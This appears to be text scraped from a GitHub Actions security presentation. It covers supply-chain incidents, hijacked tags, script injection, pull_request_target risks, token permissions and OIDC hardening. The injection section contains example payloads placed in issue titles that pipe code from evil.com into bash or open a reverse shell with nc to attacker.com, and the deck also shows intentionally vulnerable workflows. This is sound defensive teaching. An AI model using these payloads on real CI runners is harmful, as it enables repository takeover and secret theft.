2020
Compromised build system injected malicious code into legitimate software updates affecting 18,000+ organizations including government agencies and Fortune 500 companies
2021
Docker image compromised in CI/CD pipeline, stealing credentials and secrets from hundreds of customers
2025
Attackers compromised maintainer bot token, manipulated version tags to point to malicious commits, exfiltrating CI/CD secrets from 23,000+ repositories using this popular GitHub Action
Exploited pull_request_target injection to steal npm token, published malicious Nx packages, weaponized AI tools for secrets exfiltration, exposed 1000s of secrets and private repos
"GitHub Actions automates your software development workflow, letting you build, test, and deploy code directly from your GitHub repository. Its tight integration with GitHub has made it one of the most widely adopted CI/CD solutions."
name: GitHub Actions Example on: [push, pull_request] # 1 jobs: build: runs-on: [ubuntu-latest] # 2 steps: - name: Checkout code uses: actions/checkout@v5 # 3 - name: Install dependencies run: npm ci # 4 - name: Run tests run: npm test # 4
push
pull_request
ubuntu-latest
checkout@v5
npm ...
owner/repo@version
From development to deployment - GitHub Actions powers our entire software lifecycle
Build & compile code
Build containers
Run unit tests
Run E2E tests
Security scanning
Code quality checks
Publish packages
Deploy to cloud
Manage infrastructure
Release automation
Generate docs
Deploy static sites
Update dependencies
Tag & version
Automate workflows
Generate reports
Send notifications
Manage secrets
Issue triage
Multi-platform builds
name: Check Changed Files on: [pull_request] jobs: check-changes: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - name: Get changed files uses: tj-actions/changed-files@v45 id: changed-files with: files: | src/** docs/** - name: Process changes run: echo "Changed files: ${{ steps.changed-files.outputs.all_changed_files }}"
name: Check Changed Files on: [pull_request] jobs: check-changes: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4.0.0 - name: Get changed files uses: tj-actions/changed-files@v45.0.7 id: changed-files with: files: | src/** docs/** - name: Process changes run: echo "Changed files: ${{ steps.changed-files.outputs.all_changed_files }}"
🚀 Push Malicious Code
✨ Create Releases
🏷️ Rewrite Tags
name: Secure Workflow on: [pull_request] jobs: secure-build: runs-on: ubuntu-latest steps: # SHA-pinned action for security - uses: actions/checkout@08c690... # v5.0.0 ← SECURE - name: Get changed files # SHA-pinned action for security uses: tj-actions/changed-files@24d32f... # v47 ← SECURE - name: Process changes ...
name: Issue Logger on: issues: types: [opened] jobs: log-issue: runs-on: ubuntu-latest steps: - name: Log issue details run: | echo "Issue: ${{ github.event.issue.title }}" echo "Description: ${{ github.event.issue.body }}"
Hello"; curl evil.com/backdoor | bash; echo "
echo "Issue: Hello"; curl evil.com/backdoor | bash; echo ""
Commands executed on your runner!
Test"; nc attacker.com 4444 -e /bin/bash; echo "
echo "Description: Test"; nc attacker.com 4444 -e /bin/bash; echo ""
Opens reverse shell to attacker!
name: Issue Logger on: issues: types: [opened] jobs: log-issue: runs-on: ubuntu-latest steps: - name: Log issue details env: # ← NEW ISSUE_TITLE: ${{ github.event.issue.title }} # ← NEW ISSUE_BODY: ${{ github.event.issue.body }} # ← NEW run: | echo "Issue: $ISSUE_TITLE" # ← CHANGED echo "Description: $ISSUE_BODY" # ← CHANGED
name: Build PR on: pull_request: pull_request_target: jobs: build: if: ${{ startsWith(github.event_name, 'pull_request') }} runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 with: ref: ${{ github.event.pull_request.head.sha }} - name: Build env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} API_KEY: ${{ secrets.API_KEY }} run: echo "Building ${{ github.event.pull_request.base.ref }}"
name: Build PR on: pull_request: pull_request_target: # ← DANGEROUS! jobs: build: # Ineffective condition! if: ${{ startsWith(github.event_name, 'pull_request') }} runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 with: # untrusted code in trusted environment! ref: ${{ github.event.pull_request.head.sha }} - name: Build env: # Secrets exposed! GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} API_KEY: ${{ secrets.API_KEY }} # Injection! run: echo "Building ${{ github.event.pull_request.base.ref }}"
🚀 1000s secrets leaked
👥 480 users published private repositories
🏷️ 500 repos from a company exposed
pull_request_target
# DON'T DO THIS! on: pull_request_target # ← Runs in trusted context jobs: build: runs-on: ubuntu-latest steps: - uses: actions/checkout@v3 with: # ← Untrusted code! ref: ${{ github.event.pull_request.head.sha }}
You are giving write permissions and secrets access to untrusted code. Any building step, script execution, or action call could be used to compromise the entire repository
name: Deploy Package on: [push] jobs: deploy: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - name: Publish to registry env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} run: | npm publish git tag v1.0.0 git push --tags
GitHub injects a short lived token into your workflow. Default permission depending on settings.
Malicious code can modify your repository, create releases, delete branches, access secrets, and compromise your entire codebase.
name: Deploy Package on: [push] permissions: {} # no permissions by default jobs: deploy: runs-on: ubuntu-latest permissions: contents: read # read-only access to repository steps: - uses: actions/checkout@v4 - name: Publish to registry env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} run: | npm publish git tag v1.0.0 git push --tags # fails - no write permissions!
Default to no permissions and grant minimal required access on job level.
Failed operations are better than compromised repositories. Add specific permissions only when needed.
jobs: deploy-with-keys: runs-on: ubuntu-latest environment: demo steps: - name: Checkout code uses: actions/checkout@... - name: Set up AWS uses: aws-actions/configure-aws-credentials@... with: aws-access-key-id: ${{ secrets.AWS_ACCESS_KEY_ID }} aws-secret-access-key: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
jobs: deploy-with-oidc: runs-on: ubuntu-latest environment: demo permissions: id-token: write steps: - name: Configure AWS with OIDC uses: aws-actions/configure-aws-credentials@... with: role-to-assume: arn:aws:iam::123:role/minimal-access-role
// AWS Trust Policy "Statement": [{ ... "Principal": { "Federated": "<arn:aws:iam::123:oidc-provider/token.actions.githubusercontent.com>" }, "Action": "sts:AssumeRoleWithWebIdentity", "Condition": { "StringEquals": { "token.actions.githubusercontent.com:sub": "repo:my-org/my-repo:more-conditions"], "token.actions.githubusercontent.com:aud": "sts.amazonaws.com" ...
jobs: deploy-production: environment: production runs-on: ubuntu-latest steps: - name: checkout code uses: actions/checkout@v5 - name: Deploy to production env: API_KEY: ${{ secrets.PROD_API_KEY }} run: deploy.sh production
❌ WRONG
"Condition": { "StringEquals": { "...:sub": "repo:my-org/project-*", } }
✅ GOOD
"Condition": { "StringEquals": { "...:sub": "repo:my-rog/project-x:environment:production", } }
We've explored common security risks and their solutions
❌ Floating tags can be hijacked
✅ Pin to SHA + use Dependabot
❌ User input directly in run commands
✅ Use environment variables
❌ Untrusted code + write permissions
✅ Extreme caution with non controlled triggers
❌ Avoid long lived secrets
✅ Explicit least-privilege permissions
Allow list for trusted actions
Enforce SHA pinned actions
Drop GITHUB_TOKEN to read-only permissions
Be cautious with write tokens in a PR
Scan Actions with with GHAS
Review GitHub Actions do not blindly trust
Unlock GHAS power for secrets & multi-language protection
Community-driven tools to enhance your GitHub Actions security
A dedicated linter for GitHub Actions that provides comprehensive security rules and integrates seamlessly into CI/CD workflows.
Security Focus
An Infrastructure as Code (IaC) security scanner that analyzes cloud infrastructure configurations to identify and fix security policy violations.
IaC Security
A general-purpose linter for GitHub Actions workflows focused on syntax validation and ensuring best practices are followed.
Syntax & Quality
Extensive rule set for comprehensive scanning
Highly configurable to fit your needs
Integrates with GHAS seamlessly
Use with CLI, IDE, pre-commit or Actions
Your pipelines typically have extensive permissions - they can modify code, access secrets, and deploy to production. Treat them with the respect they deserve.
With great power comes great responsibility. GitHub Actions gives you incredible capabilities, but every workflow is a potential attack vector if not properly secured.
Be selective about third-party actions, untrusted input, and dangerous triggers. Pin versions, validate inputs, and use least privilege.
Use GHAS and Zizmor to gate vulnerabilities early. Automate security scanning and block unsafe code in your workflow.
Scan for resources